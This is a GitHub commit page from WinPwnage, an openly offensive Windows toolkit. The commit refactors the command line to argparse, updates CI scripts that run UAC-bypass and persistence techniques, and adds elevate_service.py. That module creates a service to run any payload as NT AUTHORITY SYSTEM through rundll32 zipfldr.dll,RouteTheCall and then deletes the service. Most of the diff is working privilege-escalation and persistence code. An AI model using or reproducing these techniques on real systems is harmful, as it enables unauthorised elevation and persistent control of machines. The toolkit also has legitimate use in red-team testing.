Skip to content

Commit

Permalink
Merge pull request #49 from rootm0s/test
Browse files Browse the repository at this point in the history
update
  • Loading branch information
rootm0s committed Apr 22, 2019
2 parents 469a790 + 603f4f1 commit 7de4146
Show file tree
Hide file tree
Showing 11 changed files with 255 additions and 89 deletions.
23 changes: 12 additions & 11 deletions .travis.yml
Original file line number Diff line number Diff line change
Expand Up @@ -78,17 +78,18 @@ before_script:

script:
# Scan the function groups
- $RUN_WINPWNAGE -scan -uac
- $RUN_WINPWNAGE -scan -persist
- $RUN_WINPWNAGE -scan -elevate
- $RUN_WINPWNAGE -scan -execute
- $RUN_WINPWNAGE --scan uac
- $RUN_WINPWNAGE --scan persist
- $RUN_WINPWNAGE --scan elevate
- $RUN_WINPWNAGE --scan execute
# Use tests: User Account Control -- Travis timesout on -use -uac 2, 16
- $RUN_WINPWNAGE -use -uac 1 /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE -use -uac 3 /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE -use -uac 4 /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE --use uac --id 1 --payload /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE --use uac --id 3 --payload /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE --use uac --id 4 --payload /c/windows/system32/cmd.exe
# Use tests: Execution -- Travis timesout on -use -execute 1
- $RUN_WINPWNAGE -use -execute 11 /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE -use -execute 13 /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE --use execute --id 11 --payload /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE --use execute --id 13 --payload /c/windows/system32/cmd.exe
# Use tests: Persist -- Travis timesout on -use -persist 12
- $RUN_WINPWNAGE -use -persist -add 6 /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE -use -persist -add 9 /c/windows/system32/cmd.exe
- $RUN_WINPWNAGE --use persist --id 6 --payload /c/windows/system32/cmd.exe --add
- $RUN_WINPWNAGE --use persist --id 9 --payload /c/windows/system32/cmd.exe --add
- $RUN_WINPWNAGE --use persist --id 3 --payload /c/windows/system32/cmd.exe --add
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -40,13 +40,15 @@ Techniques are found online, on different blogs and repos here on GitHub. I do n
* Persistence using Cortana App
* Persistence using People App
* Persistence using bitsadmin
* Persistence using Windows Service (SYSTEM privileges)

## Elevation techniques:
* Elevate from administrator to NT AUTHORITY SYSTEM using handle inheritance
* Elevate from administrator to NT AUTHORITY SYSTEM using named pipe impersonation
* Elevate from administrator to NT AUTHORITY SYSTEM using token impersonation
* Elevate from administrator to NT AUTHORITY SYSTEM using schtasks (non interactive)
* Elevate from administrator to NT AUTHORITY SYSTEM using wmic (non interactive)
* Elevate from administrator to NT AUTHORITY SYSTEM using windows service (non interactive)

## Execution techniques:
* Execute payload by calling the RegisterOCX function in Advpack.dll
Expand Down
102 changes: 56 additions & 46 deletions winpwnage.py
Original file line number Diff line number Diff line change
@@ -1,8 +1,9 @@
from __future__ import print_function
import sys
from winpwnage.core.prints import print_info
from winpwnage.core.scanner import scanner, function
from winpwnage.core.utils import information
from winpwnage.core.utils import *
import argparse
import sys

print("""
_
Expand All @@ -12,56 +13,65 @@
|_| |___|
""")

print_info("Python {}.{}.{}".format(*sys.version_info))
print_info("UAC level: {}".format(information().uac_level()))
print_info("Build number: {}".format(information().build_number()))
print_info("Running elevated: {}\n".format(information().admin()))
print_info("Running elevated: {}".format(information().admin()))
print_info("Python version: {}.{}.{}\n".format(*sys.version_info))

def main():
#
# Scanner
#
if sys.argv[1].lower() == "-scan":
if sys.argv[2].lower() == "-uac":
scanner(uac=True, persist=False, elevate=False, execute=False).start()
elif sys.argv[2].lower() == "-persist":
scanner(uac=False, persist=True, elevate=False, execute=False).start()
elif sys.argv[2].lower() == "-elevate":
scanner(uac=False, persist=False, elevate=True, execute=False).start()
elif sys.argv[2].lower() == "-execute":
scanner(uac=False, persist=False, elevate=False, execute=True).start()

#
# UAC bypass
#
elif sys.argv[1].lower() == "-use" and sys.argv[2].lower() == "-uac":
function(uac=True, persist=False, elevate=False,
execute=False).run(id=sys.argv[3], payload=sys.argv[4])
def main():
scan_cmds = ["uac",
"persist",
"elevate",
"execute"]

#
# Persistence
#
elif sys.argv[1].lower() == "-use" and sys.argv[2].lower() == "-persist" and sys.argv[3].lower() == "-add":
function(uac=False, persist=True, elevate=False,
execute=False).run(id=sys.argv[4], payload=sys.argv[5], add=True)
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--scan", nargs="+", required=False)
parser.add_argument("-u", "--use", nargs="+", required=False)
parser.add_argument("-i", "--id", nargs="+", required=False)
parser.add_argument("-p", "--payload", nargs="+", required=False)
parser.add_argument("-a", "--add", action="store_true", required=False)
parser.add_argument("-r", "--remove", action="store_true", required=False)

elif sys.argv[1].lower() == "-use" and sys.argv[2].lower() == "-persist" and sys.argv[3].lower() == "-remove":
function(uac=False, persist=True, elevate=False,
execute=False).run(id=sys.argv[4], payload=sys.argv[5], add=False)
args = parser.parse_args()

#
# Elevate
#
elif sys.argv[1].lower() == "-use" and sys.argv[2].lower() == "-elevate":
function(uac=False, persist=False, elevate=True,
execute=False).run(id=sys.argv[3], payload=sys.argv[4])
if args.scan:
if scan_cmds[0] in args.scan:
scanner(uac=True, persist=False, elevate=False, execute=False).start()
elif scan_cmds[1] in args.scan:
scanner(uac=False, persist=True, elevate=False, execute=False).start()
elif scan_cmds[2] in args.scan:
scanner(uac=False, persist=False, elevate=True, execute=False).start()
elif scan_cmds[3] in args.scan:
scanner(uac=False, persist=False, elevate=False, execute=True).start()
else:
parser.print_help()

#
# Execute
#
elif sys.argv[1].lower() == "-use" and sys.argv[2].lower() == "-execute":
function(uac=False, persist=False, elevate=False,
execute=True).run(id=sys.argv[3], payload=sys.argv[4])
if args.use:
if scan_cmds[0] in args.use:
if args.id:
if args.payload:
function(uac=True, persist=False, elevate=False,
execute=False).run(id=args.id[0], payload=args.payload[0])
elif scan_cmds[1] in args.use:
if args.add:
function(uac=False, persist=True, elevate=False,
execute=False).run(id=args.id[0], payload=args.payload[0], add=True)
elif args.remove:
function(uac=False, persist=True, elevate=False,
execute=False).run(id=args.id[0], payload=args.payload[0], add=False)
elif scan_cmds[2] in args.use:
if args.id:
if args.payload:
function(uac=False, persist=False, elevate=True,
execute=False).run(id=args.id[0], payload=args.payload[0])
elif scan_cmds[3] in args.use:
if args.id:
if args.payload:
function(uac=False, persist=False, elevate=False,
execute=True).run(id=args.id[0], payload=args.payload[0])
else:
parser.print_help()

if __name__ == "__main__":
main()
if __name__ == '__main__':
main()
8 changes: 6 additions & 2 deletions winpwnage/core/scanner.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,12 +31,14 @@
from winpwnage.functions.persist.persist_cortana import *
from winpwnage.functions.persist.persist_people import *
from winpwnage.functions.persist.persist_bitsadmin import *
from winpwnage.functions.persist.persist_service import *

from winpwnage.functions.elevate.elevate_handle_inheritance import *
from winpwnage.functions.elevate.elevate_token_impersonation import *
from winpwnage.functions.elevate.elevate_named_pipe_impersonation import *
from winpwnage.functions.elevate.elevate_schtasks import *
from winpwnage.functions.elevate.elevate_wmic import *
from winpwnage.functions.elevate.elevate_service import *

from winpwnage.functions.execute.exec_forfiles import *
from winpwnage.functions.execute.exec_pcalua import *
Expand Down Expand Up @@ -92,14 +94,16 @@
startup_files_info,
cortana_appx_info,
people_appx_info,
bitsadmin_info
bitsadmin_info,
persist_service_info
),
'elevate': (
handleinheritance_info,
tokenimpersonation_info,
namedpipeimpersonation_info,
elevate_schtasks_info,
elevate_wmic_info
elevate_wmic_info,
elevate_service_info
),
'execute': (
forfiles_info,
Expand Down
24 changes: 15 additions & 9 deletions winpwnage/core/utils.py
Original file line number Diff line number Diff line change
@@ -1,15 +1,14 @@
import os
import ctypes
import platform

try:
import _winreg # Python 2
except ImportError: # Python 3
import _winreg # Python 2
except ImportError: # Python 3
import winreg as _winreg


from .winstructures import *


class disable_fsr():
"""
A class to disable file system redirection
Expand Down Expand Up @@ -80,10 +79,10 @@ def runas(self, payload, params=''):
return False

def enum_processes(self):
size = 0x1000
size = 0x1000
cbBytesReturned = DWORD()
unit = sizeof(DWORD)
dwOwnPid = os.getpid()
unit = sizeof(DWORD)
dwOwnPid = os.getpid()
while 1:
process_ids = (DWORD * (size // unit))()
cbBytesReturned.value = size
Expand Down Expand Up @@ -163,20 +162,27 @@ def remove_key(self, hkey, path, name='', delete_key=False):
return True
except Exception as e:
return False



class information():
"""
A class to handle all the information gathering
"""
def system_directory(self):
return os.path.join(os.environ.get('windir'), 'system32')


def system_drive(self):
return os.environ.get('systemdrive')

def windows_directory(self):
return os.environ.get('windir')

def architecture(self):
return platform.machine()

def username(self):
return os.environ.get('username')

def admin(self):
return bool(ctypes.windll.shell32.IsUserAnAdmin())

Expand Down
79 changes: 79 additions & 0 deletions winpwnage/functions/elevate/elevate_service.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
from winpwnage.core.prints import *
from winpwnage.core.utils import *
from winpwnage.core.winstructures import *
import os

elevate_service_info = {
"Description": "Elevate from administrator to NT AUTHORITY SYSTEM using Windows Service (non interactive)",
"Id": "7",
"Type": "Elevation",
"Fixed In": "99999" if information().admin() == True else "0",
"Works From": "7600",
"Admin": True,
"Function Name": "elevate_service",
"Function Payload": True,
}


# Slow:
# ---> "{cmd_path} /c {payload}".format(cmd_path=os.path.join(information().system_directory(), "cmd.exe"), payload=payload)
# Faster:
# ---> "rundll32.exe {dll},RouteTheCall {payload}".format(dll=os.path.join(information().system_directory(), "zipfldr.dll"), payload=payload)

def elevate_service(payload):
if not information().admin():
print_error("Cannot proceed, we are not elevated")
return False

if payloads().exe(payload):
servicename = "WinPwnage"
localhost = "\\\\localhost"

print_info("Installing service")
schSCManager = OpenSCManager(localhost, "ServicesActive", 0x0001 | 0x0002)
if not schSCManager:
print_error("Error while connecting to the local service database using OpenSCManager: ({error})".format(error=GetLastError()))
return False

schService = CreateService(schSCManager, servicename, None, 0x00020000 | 0x00040000 | 0x0010, 0x00000010,
0x00000003, 0x00000000, "rundll32.exe {dll},RouteTheCall {payload}".format(dll=os.path.join(information().system_directory(), "zipfldr.dll"),
#0x00000003, 0x00000000, "{cmd_path} /c {payload}".format(cmd_path=os.path.join(information().system_directory(), "cmd.exe"),
payload=payload), None, None, None, None, None)
if not schService:
print_error("Error while installing our service using CreateService: ({error})".format(error=GetLastError()))
return False
else:
print_success("Successfully installed service ({name}) using CreateService".format(name=servicename))

CloseServiceHandle(schSCManager)
CloseServiceHandle(schService)

schSCManager = OpenSCManager(localhost, "ServicesActive", 0x0001 | 0x0002)
if not schSCManager:
print_error("Error while connecting to the local service database using OpenSCManager: ({error})".format(error=GetLastError()))
return False

# The service will fail, but the payload will spawn anyway
svcHandle = OpenService(schSCManager, servicename, 0x0010)
if not StartService(svcHandle, 0, None):
print_success("Successfully triggered service ({name}) to load ({payload})".format(name=servicename, payload=payload))
else:
print_error("Unable to trigger service ({name}) to load ({payload})".format(name=servicename, payload=payload))

CloseServiceHandle(schSCManager)
CloseServiceHandle(svcHandle)

print_info("Performing cleanup")
schSCManager = OpenSCManager(localhost, "ServicesActive", 0x0001 | 0x0002)
if not schSCManager:
print_error("Error while connecting to the local service database using OpenSCManager: ({error})".format(error=GetLastError()))
return False

svcHandle = OpenService(schSCManager, servicename, 0x00010000)
if DeleteService(svcHandle):
print_success("Successfully deleted service ({name})".format(name=servicename))
else:
print_error("Unable to delete service ({name})".format(name=servicename))

CloseServiceHandle(schSCManager)
CloseServiceHandle(svcHandle)
Loading

0 comments on commit 7de4146

Please sign in to comment.